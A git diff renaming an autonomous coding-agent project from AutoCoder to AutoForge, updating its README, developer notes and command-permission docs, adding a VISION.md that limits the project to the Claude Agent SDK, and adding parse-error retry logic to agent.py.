- `progress.py` - Progress tracking, database queries, webhook notifications
|
||||||
@@ -158,7 +179,7 @@ Configuration in `pyproject.toml`:
|
|||||||
### Project Registry
|
### Project Registry
|
||||||
|
|
||||||
Projects can be stored in any directory. The registry maps project names to paths using SQLite:
|
Projects can be stored in any directory. The registry maps project names to paths using SQLite:
|
||||||
- **All platforms**: `~/.autocoder/registry.db`
|
- **All platforms**: `~/.autoforge/registry.db`
|
||||||
|
|
||||||
The registry uses:
|
The registry uses:
|
||||||
- SQLite database with SQLAlchemy ORM
|
- SQLite database with SQLAlchemy ORM
|
||||||
@@ -245,6 +266,11 @@ Key components:
|
|||||||
- `ScheduleModal.tsx` - Schedule management UI
|
- `ScheduleModal.tsx` - Schedule management UI
|
||||||
- `SettingsModal.tsx` - Global settings panel
|
- `SettingsModal.tsx` - Global settings panel
|
||||||
|
|
||||||
|
In-app documentation (`/#/docs` route):
|
||||||
|
- `src/components/docs/sections/` - Content for each doc section (GettingStarted.tsx, AgentSystem.tsx, etc.)
|
||||||
|
- `src/components/docs/docsData.ts` - Sidebar structure, subsection IDs, search keywords
|
||||||
|
- `src/components/docs/DocsPage.tsx` - Page layout; `DocsContent.tsx` - section renderer with scroll tracking
|
||||||
|
|
||||||
Keyboard shortcuts (press `?` for help):
|
Keyboard shortcuts (press `?` for help):
|
||||||
- `D` - Toggle debug panel
|
- `D` - Toggle debug panel
|
||||||
- `G` - Toggle Kanban/Graph view
|
- `G` - Toggle Kanban/Graph view
|
||||||
@@ -254,18 +280,21 @@ Keyboard shortcuts (press `?` for help):
|
|||||||
|
|
||||||
### Project Structure for Generated Apps
|
### Project Structure for Generated Apps
|
||||||
|
|
||||||
Projects can be stored in any directory (registered in `~/.autocoder/registry.db`). Each project contains:
|
Projects can be stored in any directory (registered in `~/.autoforge/registry.db`). Each project contains:
|
||||||
- `.autocoder/prompts/app_spec.txt` - Application specification (XML format)
|
- `.autoforge/prompts/app_spec.txt` - Application specification (XML format)
|
||||||
- `.autocoder/prompts/initializer_prompt.md` - First session prompt
|
- `.autoforge/prompts/initializer_prompt.md` - First session prompt
|
||||||
- `.autocoder/prompts/coding_prompt.md` - Continuation session prompt
|
- `.autoforge/prompts/coding_prompt.md` - Continuation session prompt
|
||||||
- `.autocoder/features.db` - SQLite database with feature test cases
|
- `.autoforge/features.db` - SQLite database with feature test cases
|
||||||
- `.autocoder/.agent.lock` - Lock file to prevent multiple agent instances
|
- `.autoforge/.agent.lock` - Lock file to prevent multiple agent instances
|
||||||
- `.autocoder/allowed_commands.yaml` - Project-specific bash command allowlist (optional)
|
- `.autoforge/allowed_commands.yaml` - Project-specific bash command allowlist (optional)
|
||||||
- `.autocoder/.gitignore` - Ignores runtime files
|
- `.autoforge/.gitignore` - Ignores runtime files
|
||||||
|
- `.claude/skills/playwright-cli/` - Playwright CLI skill for browser automation
|
||||||
|
- `.playwright/cli.config.json` - Browser configuration (headless, viewport, etc.)
|
||||||
|
- `.playwright-cli/` - Playwright CLI daemon artifacts (screenshots, snapshots) - gitignored
|
||||||
- `CLAUDE.md` - Stays at project root (SDK convention)
|
- `CLAUDE.md` - Stays at project root (SDK convention)
|
||||||
- `app_spec.txt` - Root copy for agent template compatibility
|
- `app_spec.txt` - Root copy for agent template compatibility
|
||||||
|
|
||||||
Legacy projects with files at root level (e.g., `features.db`, `prompts/`) are auto-migrated to `.autocoder/` on next agent start. Dual-path resolution ensures old and new layouts work transparently.
|
Legacy projects with files at root level (e.g., `features.db`, `prompts/`) are auto-migrated to `.autoforge/` on next agent start. Dual-path resolution ensures old and new layouts work transparently.
|
||||||
|
|
||||||
### Security Model
|
### Security Model
|
||||||
|
|
||||||
@@ -311,14 +340,14 @@ The agent's bash command access is controlled through a hierarchical configurati
|
|||||||
|
|
||||||
**Command Hierarchy (highest to lowest priority):**
|
**Command Hierarchy (highest to lowest priority):**
|
||||||
1. **Hardcoded Blocklist** (`security.py`) - NEVER allowed (dd, sudo, shutdown, etc.)
|
1. **Hardcoded Blocklist** (`security.py`) - NEVER allowed (dd, sudo, shutdown, etc.)
|
||||||
2. **Org Blocklist** (`~/.autocoder/config.yaml`) - Cannot be overridden by projects
|
2. **Org Blocklist** (`~/.autoforge/config.yaml`) - Cannot be overridden by projects
|
||||||
3. **Org Allowlist** (`~/.autocoder/config.yaml`) - Available to all projects
|
3. **Org Allowlist** (`~/.autoforge/config.yaml`) - Available to all projects
|
||||||
4. **Global Allowlist** (`security.py`) - Default commands (npm, git, curl, etc.)
|
4. **Global Allowlist** (`security.py`) - Default commands (npm, git, curl, etc.)
|
||||||
5. **Project Allowlist** (`.autocoder/allowed_commands.yaml`) - Project-specific commands
|
5. **Project Allowlist** (`.autoforge/allowed_commands.yaml`) - Project-specific commands
|
||||||
|
|
||||||
**Project Configuration:**
|
**Project Configuration:**
|
||||||
|
|
||||||
Each project can define custom allowed commands in `.autocoder/allowed_commands.yaml`:
|
Each project can define custom allowed commands in `.autoforge/allowed_commands.yaml`:
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
version: 1
|
version: 1
|
||||||
@@ -338,7 +367,7 @@ commands:
|
|||||||
|
|
||||||
**Organization Configuration:**
|
**Organization Configuration:**
|
||||||
|
|
||||||
System administrators can set org-wide policies in `~/.autocoder/config.yaml`:
|
System administrators can set org-wide policies in `~/.autoforge/config.yaml`:
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
version: 1
|
version: 1
|
||||||
@@ -382,44 +411,23 @@ Run coding agents via Google Cloud Vertex AI:
|
|||||||
CLAUDE_CODE_USE_VERTEX=1
|
CLAUDE_CODE_USE_VERTEX=1
|
||||||
CLOUD_ML_REGION=us-east5
|
CLOUD_ML_REGION=us-east5
|
||||||
ANTHROPIC_VERTEX_PROJECT_ID=your-gcp-project-id
|
ANTHROPIC_VERTEX_PROJECT_ID=your-gcp-project-id
|
||||||
ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-5@20251101
|
ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-6
|
||||||
ANTHROPIC_DEFAULT_SONNET_MODEL=claude-sonnet-4-5@20250929
|
ANTHROPIC_DEFAULT_SONNET_MODEL=claude-sonnet-4-5@20250929
|
||||||
ANTHROPIC_DEFAULT_HAIKU_MODEL=claude-3-5-haiku@20241022
|
ANTHROPIC_DEFAULT_HAIKU_MODEL=claude-3-5-haiku@20241022
|
||||||
```
|
```
|
||||||
|
|
||||||
**Note:** Use `@` instead of `-` in model names for Vertex AI.
|
**Note:** Use `@` instead of `-` in model names for Vertex AI.
|
||||||
|
|
||||||
### Ollama Local Models (Optional)
|
### Alternative API Providers (GLM, Ollama, Kimi, Custom)
|
||||||
|
|
||||||
Run coding agents using local models via Ollama v0.14.0+:
|
Alternative providers are configured via the **Settings UI** (gear icon > API Provider section). Select a provider, set the base URL, auth token, and model — no `.env` changes needed.
|
||||||
|
|
||||||
1. Install Ollama: https://ollama.com
|
**Available providers:** Claude (default), GLM (Zhipu AI), Ollama (local models), Kimi (Moonshot), Custom
|
||||||
2. Start Ollama: `ollama serve`
|
|
||||||
3. Pull a coding model: `ollama pull qwen3-coder`
|
|
||||||
4. Configure `.env`:
|
|
||||||
```
|
|
||||||
ANTHROPIC_BASE_URL=http://localhost:11434
|
|
||||||
ANTHROPIC_AUTH_TOKEN=ollama
|
|
||||||
API_TIMEOUT_MS=3000000
|
|
||||||
ANTHROPIC_DEFAULT_SONNET_MODEL=qwen3-coder
|
|
||||||
ANTHROPIC_DEFAULT_OPUS_MODEL=qwen3-coder
|
|
||||||
ANTHROPIC_DEFAULT_HAIKU_MODEL=qwen3-coder
|
|
||||||
```
|
|
||||||
5. Run autocoder normally - it will use your local Ollama models
|
|
||||||
|
|
||||||
**Recommended coding models:**
|
**Ollama notes:**
|
||||||
- `qwen3-coder` - Good balance of speed and capability
|
- Requires Ollama v0.14.0+ with Anthropic API compatibility
|
||||||
- `deepseek-coder-v2` - Strong coding performance
|
- Install: https://ollama.com → `ollama serve` → `ollama pull qwen3-coder`
|
||||||
- `codellama` - Meta's code-focused model
|
- Recommended models: `qwen3-coder`, `deepseek-coder-v2`, `codellama`
|
||||||
|
|
||||||
**Model tier mapping:**
|
|
||||||
- Use the same model for all tiers, or map different models per capability level
|
|
||||||
- Larger models (70B+) work best for Opus tier
|
|
||||||
- Smaller models (7B-20B) work well for Haiku tier
|
|
||||||
|
|
||||||
**Known limitations:**
|
|
||||||
- Smaller context windows than Claude (model-dependent)
|
|
||||||
- Extended context beta disabled (not supported by Ollama)
|
|
||||||
- Performance depends on local hardware (GPU recommended)
|
- Performance depends on local hardware (GPU recommended)
|
||||||
|
|
||||||
## Claude Code Integration
|
## Claude Code Integration
|
||||||
@@ -427,7 +435,7 @@ Run coding agents using local models via Ollama v0.14.0+:
|
|||||||
**Slash commands** (`.claude/commands/`):
|
**Slash commands** (`.claude/commands/`):
|
||||||
- `/create-spec` - Interactive spec creation for new projects
|
- `/create-spec` - Interactive spec creation for new projects
|
||||||
- `/expand-project` - Expand existing project with new features
|
- `/expand-project` - Expand existing project with new features
|
||||||
- `/gsd-to-autocoder-spec` - Convert GSD codebase mapping to app_spec.txt
|
- `/gsd-to-autoforge-spec` - Convert GSD codebase mapping to app_spec.txt
|
||||||
- `/check-code` - Run lint and type-check for code quality
|
- `/check-code` - Run lint and type-check for code quality
|
||||||
- `/checkpoint` - Create comprehensive checkpoint commit
|
- `/checkpoint` - Create comprehensive checkpoint commit
|
||||||
- `/review-pr` - Review pull requests
|
- `/review-pr` - Review pull requests
|
||||||
@@ -439,7 +447,8 @@ Run coding agents using local models via Ollama v0.14.0+:
|
|||||||
|
|
||||||
**Skills** (`.claude/skills/`):
|
**Skills** (`.claude/skills/`):
|
||||||
- `frontend-design` - Distinctive, production-grade UI design
|
- `frontend-design` - Distinctive, production-grade UI design
|
||||||
- `gsd-to-autocoder-spec` - Convert GSD codebase mapping to Autocoder app_spec format
|
- `gsd-to-autoforge-spec` - Convert GSD codebase mapping to AutoForge app_spec format
|
||||||
|
- `playwright-cli` - Browser automation via Playwright CLI (copied to each project)
|
||||||
|
|
||||||
**Other:**
|
**Other:**
|
||||||
- `.claude/templates/` - Prompt templates copied to new projects
|
- `.claude/templates/` - Prompt templates copied to new projects
|
||||||
@@ -449,12 +458,12 @@ Run coding agents using local models via Ollama v0.14.0+:
|
|||||||
|
|
||||||
### Prompt Loading Fallback Chain
|
### Prompt Loading Fallback Chain
|
||||||
|
|
||||||
1. Project-specific: `{project_dir}/.autocoder/prompts/{name}.md` (or legacy `{project_dir}/prompts/{name}.md`)
|
1. Project-specific: `{project_dir}/.autoforge/prompts/{name}.md` (or legacy `{project_dir}/prompts/{name}.md`)
|
||||||
2. Base template: `.claude/templates/{name}.template.md`
|
2. Base template: `.claude/templates/{name}.template.md`
|
||||||
|
|
||||||
### Agent Session Flow
|
### Agent Session Flow
|
||||||
|
|
||||||
1. Check if `.autocoder/features.db` has features (determines initializer vs coding agent)
|
1. Check if `.autoforge/features.db` has features (determines initializer vs coding agent)
|
||||||
2. Create ClaudeSDKClient with security settings
|
2. Create ClaudeSDKClient with security settings
|
||||||
3. Send prompt and stream response
|
3. Send prompt and stream response
|
||||||
4. Auto-continue with 3-second delay between sessions
|
4. Auto-continue with 3-second delay between sessions
|
||||||
@@ -474,7 +483,7 @@ When running with `--parallel`, the orchestrator:
|
|||||||
1. Spawns multiple Claude agents as subprocesses (up to `--max-concurrency`)
|
1. Spawns multiple Claude agents as subprocesses (up to `--max-concurrency`)
|
||||||
2. Each agent claims features atomically via `feature_claim_and_get`
|
2. Each agent claims features atomically via `feature_claim_and_get`
|
||||||
3. Features blocked by unmet dependencies are skipped
|
3. Features blocked by unmet dependencies are skipped
|
||||||
4. Browser contexts are isolated per agent using `--isolated` flag
|
4. Browser sessions are isolated per agent via `PLAYWRIGHT_CLI_SESSION` environment variable
|
||||||
5. AgentTracker parses output and emits `agent_update` messages for UI
|
5. AgentTracker parses output and emits `agent_update` messages for UI
|
||||||
|
|
||||||
### Process Limits (Parallel Mode)
|
### Process Limits (Parallel Mode)
|
||||||
|
|||||||
188
README.md
188
README.md
@@ -1,4 +1,4 @@
|
|||||||
# AutoCoder
|
# AutoForge
|
||||||
|
|
||||||
[](https://www.buymeacoffee.com/leonvanzyl)
|
[](https://www.buymeacoffee.com/leonvanzyl)
|
||||||
|
|
||||||
@@ -6,17 +6,19 @@ A long-running autonomous coding agent powered by the Claude Agent SDK. This too
|
|||||||
|
|
||||||
## Video Tutorial
|
## Video Tutorial
|
||||||
|
|
||||||
[](https://youtu.be/lGWFlpffWk4)
|
[](https://youtu.be/nKiPOxDpcJY)
|
||||||
|
|
||||||
> **[Watch the setup and usage guide →](https://youtu.be/lGWFlpffWk4)**
|
> **[Watch the setup and usage guide →](https://youtu.be/nKiPOxDpcJY)**
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Prerequisites
|
## Prerequisites
|
||||||
|
|
||||||
### Claude Code CLI (Required)
|
- **Node.js 20+** - Required for the CLI
|
||||||
|
- **Python 3.11+** - Auto-detected on first run ([download](https://www.python.org/downloads/))
|
||||||
|
- **Claude Code CLI** - Install and authenticate (see below)
|
||||||
|
|
||||||
This project requires the Claude Code CLI to be installed. Install it using one of these methods:
|
### Claude Code CLI (Required)
|
||||||
|
|
||||||
**macOS / Linux:**
|
**macOS / Linux:**
|
||||||
```bash
|
```bash
|
||||||
@@ -39,35 +41,63 @@ You need one of the following:
|
|||||||
|
|
||||||
## Quick Start
|
## Quick Start
|
||||||
|
|
||||||
### Option 1: Web UI (Recommended)
|
### Option 1: npm Install (Recommended)
|
||||||
|
|
||||||
**Windows:**
|
|
||||||
```cmd
|
|
||||||
start_ui.bat
|
|
||||||
```
|
|
||||||
|
|
||||||
**macOS / Linux:**
|
|
||||||
```bash
|
```bash
|
||||||
./start_ui.sh
|
npm install -g autoforge-ai
|
||||||
|
autoforge
|
||||||
```
|
```
|
||||||
|
|
||||||
|
On first run, AutoForge automatically:
|
||||||
|
1. Checks for Python 3.11+
|
||||||
|
2. Creates a virtual environment at `~/.autoforge/venv/`
|
||||||
|
3. Installs Python dependencies
|
||||||
|
4. Copies a default config file to `~/.autoforge/.env`
|
||||||
|
5. Starts the server and opens your browser
|
||||||
|
|
||||||
|
### CLI Commands
|
||||||
|
|
||||||
|
```
|
||||||
|
autoforge Start the server (default)
|
||||||
|
autoforge config Open ~/.autoforge/.env in $EDITOR
|
||||||
|
autoforge config --path Print config file path
|
||||||
|
autoforge config --show Show active configuration values
|
||||||
|
autoforge --port PORT Custom port (default: auto from 8888)
|
||||||
|
autoforge --host HOST Custom host (default: 127.0.0.1)
|
||||||
|
autoforge --no-browser Don't auto-open browser
|
||||||
|
autoforge --repair Delete and recreate virtual environment
|
||||||
|
autoforge --version Print version
|
||||||
|
autoforge --help Show help
|
||||||
|
```
|
||||||
|
|
||||||
|
### Option 2: From Source (Development)
|
||||||
|
|
||||||
|
Clone the repository and use the start scripts directly. This is the recommended path if you want to contribute or modify AutoForge itself.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/leonvanzyl/autoforge.git
|
||||||
|
cd autoforge
|
||||||
|
```
|
||||||
|
|
||||||
|
**Web UI:**
|
||||||
|
|
||||||
|
| Platform | Command |
|
||||||
|
|---|---|
|
||||||
|
| Windows | `start_ui.bat` |
|
||||||
|
| macOS / Linux | `./start_ui.sh` |
|
||||||
|
|
||||||
This launches the React-based web UI at `http://localhost:5173` with:
|
This launches the React-based web UI at `http://localhost:5173` with:
|
||||||
- Project selection and creation
|
- Project selection and creation
|
||||||
- Kanban board view of features
|
- Kanban board view of features
|
||||||
- Real-time agent output streaming
|
- Real-time agent output streaming
|
||||||
- Start/pause/stop controls
|
- Start/pause/stop controls
|
||||||
|
|
||||||
### Option 2: CLI Mode
|
**CLI Mode:**
|
||||||
|
|
||||||
**Windows:**
|
| Platform | Command |
|
||||||
```cmd
|
|---|---|
|
||||||
start.bat
|
| Windows | `start.bat` |
|
||||||
```
|
| macOS / Linux | `./start.sh` |
|
||||||
|
|
||||||
**macOS / Linux:**
|
|
||||||
```bash
|
|
||||||
./start.sh
|
|
||||||
```
|
|
||||||
|
|
||||||
The start script will:
|
The start script will:
|
||||||
1. Check if Claude CLI is installed
|
1. Check if Claude CLI is installed
|
||||||
@@ -130,44 +160,43 @@ Features are stored in SQLite via SQLAlchemy and managed through an MCP server t
|
|||||||
## Project Structure
|
## Project Structure
|
||||||
|
|
||||||
```
|
```
|
||||||
autonomous-coding/
|
autoforge/
|
||||||
├── start.bat # Windows CLI start script
|
├── bin/ # npm CLI entry point
|
||||||
├── start.sh # macOS/Linux CLI start script
|
├── lib/ # CLI bootstrap and setup logic
|
||||||
├── start_ui.bat # Windows Web UI start script
|
├── start.py # CLI menu and project management
|
||||||
├── start_ui.sh # macOS/Linux Web UI start script
|
├── start_ui.py # Web UI backend (FastAPI server launcher)
|
||||||
├── start.py # CLI menu and project management
|
├── autonomous_agent_demo.py # Agent entry point
|
||||||
├── start_ui.py # Web UI backend (FastAPI server launcher)
|
├── agent.py # Agent session logic
|
||||||
├── autonomous_agent_demo.py # Agent entry point
|
├── client.py # Claude SDK client configuration
|
||||||
├── agent.py # Agent session logic
|
├── security.py # Bash command allowlist and validation
|
||||||
├── client.py # Claude SDK client configuration
|
├── progress.py # Progress tracking utilities
|
||||||
├── security.py # Bash command allowlist and validation
|
├── prompts.py # Prompt loading utilities
|
||||||
├── progress.py # Progress tracking utilities
|
|
||||||
├── prompts.py # Prompt loading utilities
|
|
||||||
├── api/
|
├── api/
|
||||||
│ └── database.py # SQLAlchemy models (Feature table)
|
│ └── database.py # SQLAlchemy models (Feature table)
|
||||||
├── mcp_server/
|
├── mcp_server/
|
||||||
│ └── feature_mcp.py # MCP server for feature management tools
|
│ └── feature_mcp.py # MCP server for feature management tools
|
||||||
├── server/
|
├── server/
|
||||||
│ ├── main.py # FastAPI REST API server
|
│ ├── main.py # FastAPI REST API server
|
||||||
│ ├── websocket.py # WebSocket handler for real-time updates
|
│ ├── websocket.py # WebSocket handler for real-time updates
|
||||||
│ ├── schemas.py # Pydantic schemas
|
│ ├── schemas.py # Pydantic schemas
|
||||||
│ ├── routers/ # API route handlers
|
│ ├── routers/ # API route handlers
|
||||||
│ └── services/ # Business logic services
|
│ └── services/ # Business logic services
|
||||||
├── ui/ # React frontend
|
├── ui/ # React frontend
|
||||||
│ ├── src/
|
│ ├── src/
|
||||||
│ │ ├── App.tsx # Main app component
|
│ │ ├── App.tsx # Main app component
|
||||||
│ │ ├── hooks/ # React Query and WebSocket hooks
|
│ │ ├── hooks/ # React Query and WebSocket hooks
|
||||||
│ │ └── lib/ # API client and types
|
│ │ └── lib/ # API client and types
|
||||||
│ ├── package.json
|
│ ├── package.json
|
||||||
│ └── vite.config.ts
|
│ └── vite.config.ts
|
||||||
├── .claude/
|
├── .claude/
|
||||||
│ ├── commands/
|
│ ├── commands/
|
||||||
│ │ └── create-spec.md # /create-spec slash command
|
│ │ └── create-spec.md # /create-spec slash command
|
||||||
│ ├── skills/ # Claude Code skills
|
│ ├── skills/ # Claude Code skills
|
||||||
│ └── templates/ # Prompt templates
|
│ └── templates/ # Prompt templates
|
||||||
├── generations/ # Generated projects go here
|
├── requirements.txt # Python dependencies (development)
|
||||||
├── requirements.txt # Python dependencies
|
├── requirements-prod.txt # Python dependencies (npm install)
|
||||||
└── .env # Optional configuration (N8N webhook)
|
├── package.json # npm package definition
|
||||||
|
└── .env # Optional configuration
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -264,11 +293,20 @@ The UI receives live updates via WebSocket (`/ws/projects/{project_name}`):
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Configuration (Optional)
|
## Configuration
|
||||||
|
|
||||||
|
AutoForge reads configuration from a `.env` file. The file location depends on how you installed AutoForge:
|
||||||
|
|
||||||
|
| Install method | Config file location | Edit command |
|
||||||
|
|---|---|---|
|
||||||
|
| npm (global) | `~/.autoforge/.env` | `autoforge config` |
|
||||||
|
| From source | `.env` in the project root | Edit directly |
|
||||||
|
|
||||||
|
A default config file is created automatically on first run. Use `autoforge config` to open it in your editor, or `autoforge config --show` to print the active values.
|
||||||
|
|
||||||
### N8N Webhook Integration
|
### N8N Webhook Integration
|
||||||
|
|
||||||
The agent can send progress notifications to an N8N webhook. Create a `.env` file:
|
Add to your `.env` to send progress notifications to an N8N webhook:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Optional: N8N webhook for progress notifications
|
# Optional: N8N webhook for progress notifications
|
||||||
@@ -288,22 +326,28 @@ When test progress increases, the agent sends:
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Using GLM Models (Alternative to Claude)
|
### Alternative API Providers (GLM, Ollama, Kimi, Custom)
|
||||||
|
|
||||||
To use Zhipu AI's GLM models instead of Claude, add these variables to your `.env` file in the AutoCoder directory:
|
Alternative providers are configured via the **Settings UI** (gear icon > API Provider). Select your provider, set the base URL, auth token, and model directly in the UI — no `.env` changes needed.
|
||||||
|
|
||||||
|
Available providers: **Claude** (default), **GLM** (Zhipu AI), **Ollama** (local models), **Kimi** (Moonshot), **Custom**
|
||||||
|
|
||||||
|
For Ollama, install [Ollama v0.14.0+](https://ollama.com), run `ollama serve`, and pull a coding model (e.g., `ollama pull qwen3-coder`). Then select "Ollama" in the Settings UI.
|
||||||
|
|
||||||
|
### Using Vertex AI
|
||||||
|
|
||||||
|
Add these variables to your `.env` file to run agents via Google Cloud Vertex AI:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ANTHROPIC_BASE_URL=https://api.z.ai/api/anthropic
|
CLAUDE_CODE_USE_VERTEX=1
|
||||||
ANTHROPIC_AUTH_TOKEN=your-zhipu-api-key
|
CLOUD_ML_REGION=us-east5
|
||||||
API_TIMEOUT_MS=3000000
|
ANTHROPIC_VERTEX_PROJECT_ID=your-gcp-project-id
|
||||||
ANTHROPIC_DEFAULT_SONNET_MODEL=glm-4.7
|
ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-6
|
||||||
ANTHROPIC_DEFAULT_OPUS_MODEL=glm-4.7
|
ANTHROPIC_DEFAULT_SONNET_MODEL=claude-sonnet-4-5@20250929
|
||||||
ANTHROPIC_DEFAULT_HAIKU_MODEL=glm-4.5-air
|
ANTHROPIC_DEFAULT_HAIKU_MODEL=claude-3-5-haiku@20241022
|
||||||
```
|
```
|
||||||
|
|
||||||
This routes AutoCoder's API requests through Zhipu's Claude-compatible API, allowing you to use GLM-4.7 and other models. **This only affects AutoCoder** - your global Claude Code settings remain unchanged.
|
Requires `gcloud auth application-default login` first. Note the `@` separator (not `-`) in Vertex AI model names.
|
||||||
|
|
||||||
Get an API key at: https://z.ai/subscribe
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -335,6 +379,18 @@ This is normal. The initializer agent is generating detailed test cases, which t
|
|||||||
**"Command blocked by security hook"**
|
**"Command blocked by security hook"**
|
||||||
The agent tried to run a command not in the allowlist. This is the security system working as intended. If needed, add the command to `ALLOWED_COMMANDS` in `security.py`.
|
The agent tried to run a command not in the allowlist. This is the security system working as intended. If needed, add the command to `ALLOWED_COMMANDS` in `security.py`.
|
||||||
|
|
||||||
|
**"Python 3.11+ required but not found"**
|
||||||
|
Install Python 3.11 or later from [python.org](https://www.python.org/downloads/). Make sure `python3` (or `python` on Windows) is on your PATH.
|
||||||
|
|
||||||
|
**"Python venv module not available"**
|
||||||
|
On Debian/Ubuntu, the venv module is packaged separately. Install it with `sudo apt install python3.XX-venv` (replace `XX` with your Python minor version, e.g., `python3.12-venv`).
|
||||||
|
|
||||||
|
**"AutoForge is already running"**
|
||||||
|
A server instance is already active. Use the browser URL shown in the terminal, or stop the existing instance with Ctrl+C first.
|
||||||
|
|
||||||
|
**Virtual environment issues after a Python upgrade**
|
||||||
|
Run `autoforge --repair` to delete and recreate the virtual environment from scratch.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|||||||
22
VISION.md
Normal file
22
VISION.md
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
# VISION
|
||||||
|
|
||||||
|
This document defines the mandatory project vision for AutoForge. All contributions must align with these principles. PRs that deviate from this vision will be rejected. This file itself is immutable via PR — any PR that modifies VISION.md will be rejected outright.
|
||||||
|
|
||||||
|
## Claude Agent SDK Exclusivity
|
||||||
|
|
||||||
|
AutoForge is a wrapper around the **Claude Agent SDK**. This is a foundational architectural decision, not a preference.
|
||||||
|
|
||||||
|
**What this means:**
|
||||||
|
|
||||||
|
- AutoForge only supports providers, models, and integrations that work through the Claude Agent SDK.
|
||||||
|
- We will not integrate with, accommodate, or add support for other AI SDKs, CLIs, or coding agent platforms (e.g., Codex, OpenCode, Aider, Continue, Cursor agents, or similar tools).
|
||||||
|
|
||||||
|
**Why:**
|
||||||
|
|
||||||
|
Each platform has its own approach to MCP tools, skills, context management, and feature integration. Attempting to support multiple agent frameworks creates an unsustainable maintenance burden and dilutes the quality of the core experience. By committing to the Claude Agent SDK exclusively, we can build deep, reliable integration rather than shallow compatibility across many targets.
|
||||||
|
|
||||||
|
**In practice:**
|
||||||
|
|
||||||
|
- PRs adding support for non-Claude agent frameworks will be rejected.
|
||||||
|
- PRs introducing abstractions designed to make AutoForge "agent-agnostic" will be rejected.
|
||||||
|
- Alternative API providers (e.g., Vertex AI, AWS Bedrock) are acceptable only when accessed through the Claude Agent SDK's own configuration.
|
||||||
103
agent.py
103
agent.py
@@ -74,46 +74,65 @@ async def run_agent_session(
|
|||||||
await client.query(message)
|
await client.query(message)
|
||||||
|
|
||||||
# Collect response text and show tool use
|
# Collect response text and show tool use
|
||||||
|
# Retry receive_response() on MessageParseError — the SDK raises this for
|
||||||
|
# unknown CLI message types (e.g. "rate_limit_event") which kills the async
|
||||||
|
# generator. The subprocess is still alive so we restart to read remaining
|
||||||
|
# messages from the buffered channel.
|
||||||
response_text = ""
|
response_text = ""
|
||||||
async for msg in client.receive_response():
|
max_parse_retries = 50
|
||||||
msg_type = type(msg).__name__
|
parse_retries = 0
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
async for msg in client.receive_response():
|
||||||
|
msg_type = type(msg).__name__
|
||||||
|
|
||||||
# Handle AssistantMessage (text and tool use)
|
# Handle AssistantMessage (text and tool use)
|
||||||
if msg_type == "AssistantMessage" and hasattr(msg, "content"):
|
if msg_type == "AssistantMessage" and hasattr(msg, "content"):
|
||||||
for block in msg.content:
|
for block in msg.content:
|
||||||
block_type = type(block).__name__
|
block_type = type(block).__name__
|
||||||
|
|
||||||
if block_type == "TextBlock" and hasattr(block, "text"):
|
if block_type == "TextBlock" and hasattr(block, "text"):
|
||||||
response_text += block.text
|
response_text += block.text
|
||||||
print(block.text, end="", flush=True)
|
print(block.text, end="", flush=True)
|
||||||
elif block_type == "ToolUseBlock" and hasattr(block, "name"):
|
elif block_type == "ToolUseBlock" and hasattr(block, "name"):
|
||||||
print(f"\n[Tool: {block.name}]", flush=True)
|
print(f"\n[Tool: {block.name}]", flush=True)
|
||||||
if hasattr(block, "input"):
|
if hasattr(block, "input"):
|
||||||
input_str = str(block.input)
|
input_str = str(block.input)
|
||||||
if len(input_str) > 200:
|
if len(input_str) > 200:
|
||||||
print(f" Input: {input_str[:200]}...", flush=True)
|
print(f" Input: {input_str[:200]}...", flush=True)
|
||||||
else:
|
else:
|
||||||
print(f" Input: {input_str}", flush=True)
|
print(f" Input: {input_str}", flush=True)
|
||||||
|
|
||||||
# Handle UserMessage (tool results)
|
# Handle UserMessage (tool results)
|
||||||
elif msg_type == "UserMessage" and hasattr(msg, "content"):
|
elif msg_type == "UserMessage" and hasattr(msg, "content"):
|
||||||
for block in msg.content:
|
for block in msg.content:
|
||||||
block_type = type(block).__name__
|
block_type = type(block).__name__
|
||||||
|
|
||||||
if block_type == "ToolResultBlock":
|
if block_type == "ToolResultBlock":
|
||||||
result_content = getattr(block, "content", "")
|
result_content = getattr(block, "content", "")
|
||||||
is_error = getattr(block, "is_error", False)
|
is_error = getattr(block, "is_error", False)
|
||||||
|
|
||||||
# Check if command was blocked by security hook
|
# Check if command was blocked by security hook
|
||||||
if "blocked" in str(result_content).lower():
|
if "blocked" in str(result_content).lower():
|
||||||
print(f" [BLOCKED] {result_content}", flush=True)
|
print(f" [BLOCKED] {result_content}", flush=True)
|
||||||
elif is_error:
|
elif is_error:
|
||||||
# Show errors (truncated)
|
# Show errors (truncated)
|
||||||
error_str = str(result_content)[:500]
|
error_str = str(result_content)[:500]
|
||||||
print(f" [Error] {error_str}", flush=True)
|
print(f" [Error] {error_str}", flush=True)
|
||||||
else:
|
else:
|
||||||
# Tool succeeded - just show brief confirmation
|
# Tool succeeded - just show brief confirmation
|
||||||
print(" [Done]", flush=True)
|
print(" [Done]", flush=True)
|
||||||
|
|
||||||
|
break # Normal completion
|
||||||
|
except Exception as inner_exc:
|
||||||
|
if type(inner_exc).__name__ == "MessageParseError":
|
||||||
|
parse_retries += 1
|
||||||
|
if parse_retries > max_parse_retries:
|
||||||
|
print(f"Too many unrecognized CLI messages ({parse_retries}), stopping")
|
||||||
|
break
|
||||||
|
print(f"Ignoring unrecognized message from Claude CLI: {inner_exc}")
|
||||||
|
continue
|
||||||
|
raise # Re-raise to outer except
|
||||||
|
|
||||||
print("\n" + "-" * 70 + "\n")
|
print("\n" + "-" * 70 + "\n")
|
||||||
return "continue", response_text
|
return "continue", response_text
|
||||||
@@ -222,7 +241,7 @@ async def run_autonomous_agent(
|
|||||||
# Check if all features are already complete (before starting a new session)
|
